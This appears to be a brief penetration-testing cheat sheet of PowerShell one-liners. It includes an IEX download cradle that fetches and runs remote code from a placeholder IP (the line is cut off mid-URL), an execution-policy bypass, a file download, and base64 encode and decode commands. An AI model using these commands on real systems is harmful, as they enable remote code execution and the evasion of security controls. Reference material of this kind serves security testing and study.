PowerShell One-Liners

Import a Remote PowerShell Module:

IEX (New-Object Net.WebClient).DownloadString('http://<IP-ADDRESS

Execution Policy Bypass

powershell.exe -exec bypass -C "<command>"

Download a file

Invoke-WebRequest URL -OutFile c:\file.txt

Encode a file as base64

powershell -C "& {$outpath = (Join-Path (pwd) 'out_base64.txt'); $inpath = (Join-Path (pwd) 'data.jpg'); [IO.File]::WriteAllText($outpath, ([convert]::ToBase64String(([IO.File]::ReadAllBytes($inpath)))))}"

Decode a base64 file

powershell -C "& {$outpath = (Join-Path (pwd) 'outdata2.jpg'); $inpath = (Join-Path (pwd) 'out_base64.txt'); [IO.File]::WriteAllBytes($outpath, ([convert]::FromBase64String(([IO.File]::ReadAllText($inpath)))))}"

Last updated

Was this helpful?